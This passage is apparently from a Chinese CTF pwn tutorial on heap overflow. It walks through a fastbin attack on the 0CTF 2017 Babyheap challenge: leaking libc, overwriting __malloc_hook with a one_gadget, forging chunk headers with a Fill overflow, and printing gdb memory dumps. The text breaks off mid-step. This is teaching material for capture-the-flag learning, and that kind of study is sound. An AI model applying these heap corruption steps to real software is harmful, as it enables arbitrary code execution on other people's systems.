linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

学习汇总

序言

自从加入RTIS交流群, 在7o8v师傅，gd大佬的帮助下，PWN学习之路进入加速度。下面是八周学习的总结，基本上是按照how2heap路线走的。由于八周内容全写，篇幅太长，这里只讲述每道PWN题所用到的一个知识点。

第一节(fastbin_dup_into_stack)

知识点

利用fastbin之间,单链表的连接的特性, 溢出修改下一个free chunk的地址, 造成任意地址写.

例子: 0CTF 2017 BabyheapFill功能可以填充任意长字节, 漏洞在此.

leak memory: libc address

modify __malloc_hook内容为one_gadget

getshell

重点: fastbin attack

First Stepalloc(0x60)

alloc(0x40)

0x56144ab7e000: 0x0000000000000000 0x0000000000000071 --> chunk0 header

0x56144ab7e010: 0x0000000000000000 0x0000000000000000

0x56144ab7e020: 0x0000000000000000 0x0000000000000000

0x56144ab7e030: 0x0000000000000000 0x0000000000000000

0x56144ab7e040: 0x0000000000000000 0x0000000000000000

0x56144ab7e050: 0x0000000000000000 0x0000000000000000

0x56144ab7e060: 0x0000000000000000 0x0000000000000000

0x56144ab7e070: 0x0000000000000000 0x0000000000000051 --> chunk1 header

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

0x56144ab7e090: 0x0000000000000000 0x0000000000000000

Second StepFill(0x10, 0x60 + 0x10, "A" * 0x60 + p64(0) + p64(0x71)) --> 开始破坏chunk1 header

0x56144ab7e000: 0x0000000000000000 0x0000000000000071

0x56144ab7e010: 0x6161616161616161 0x6161616161616161

0x56144ab7e020: 0x6161616161616161 0x6161616161616161

0x56144ab7e030: 0x6161616161616161 0x6161616161616161

0x56144ab7e040: 0x6161616161616161 0x6161616161616161

0x56144ab7e050: 0x6161616161616161 0x6161616161616161

0x56144ab7e060: 0x6161616161616161 0x6161616161616161

0x56144ab7e070: 0x0000000000000000 0x0000000000000071 --> 已修改为0x71

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

Third Step: 申请small chunk0x56144ab7e060: 0x6161616161616161 0x6161616161616161

0x56144ab7e070: 0x0000000000000000 0x0000000000000071

0x56144ab7e080: 0x0000000000000000 0x0000000000000000

0x56144ab7e090: 0x0000000000000000 0x0000000000000000

0x56144ab7e0a0: 0x0000000000000000 0x0000000000000000

0x56144ab7e0b0: 0x0000000000000000 0x0000000000000000

0x56144ab7e0c0: 0x0000000000000000 0x0000000000000111 --> chunk2 header

Fouth Step: 破坏chunk2 header, 最后目的是释放chunk2Fill(2,